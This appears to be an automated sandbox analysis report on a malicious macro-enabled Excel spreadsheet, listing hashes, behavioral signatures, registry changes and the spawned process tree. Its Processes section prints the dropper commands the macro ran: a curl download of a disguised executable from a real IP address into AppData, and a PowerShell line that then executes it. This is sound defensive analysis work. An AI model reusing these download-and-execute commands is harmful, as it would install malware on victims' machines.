Analysis
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max time kernel
148s -
max time network
35s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
21-07-2021 19:28
Behavioral task
behavioral1
Sample
10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446.xlsm
Resource
win7v20210410
Behavioral task
behavioral2
Sample
10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446.xlsm
Resource
win10v20210410
General
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Target
10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446.xlsm
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Size
85KB
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MD5
15e98764d969ee310fb1cdda85a26862
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SHA1
718382bbcf75fd62c07ad276ff0201c62f9da1f6
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SHA256
10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446
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SHA512
8b5879e67765a65c87e6137d43289c848cb279cd6cc36b732f265aabca463ff3efe50c2e8ac86e52e627e59c04908b31f4aa5b44df8f619cccdca2a3ffe43a85
Malware Config
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.execmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1188 2028 powershell.exe EXCEL.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1084 2028 cmd.exe EXCEL.EXE -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2028 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1188 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1188 powershell.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
EXCEL.EXEpid process 2028 EXCEL.EXE 2028 EXCEL.EXE 2028 EXCEL.EXE 2028 EXCEL.EXE 2028 EXCEL.EXE 2028 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 2028 wrote to memory of 1188 2028 EXCEL.EXE powershell.exe PID 2028 wrote to memory of 1188 2028 EXCEL.EXE powershell.exe PID 2028 wrote to memory of 1188 2028 EXCEL.EXE powershell.exe PID 2028 wrote to memory of 1188 2028 EXCEL.EXE powershell.exe PID 2028 wrote to memory of 1084 2028 EXCEL.EXE cmd.exe PID 2028 wrote to memory of 1084 2028 EXCEL.EXE cmd.exe PID 2028 wrote to memory of 1084 2028 EXCEL.EXE cmd.exe PID 2028 wrote to memory of 1084 2028 EXCEL.EXE cmd.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446.xlsm1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe start-sleep 10; $x=$env:AppData+'\mYKCY.exe';Invoke-Expression $x2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1188
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C:\Windows\SysWOW64\cmd.execmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\mYKCY.exe2⤵
- Process spawned unexpected child process
PID:1084
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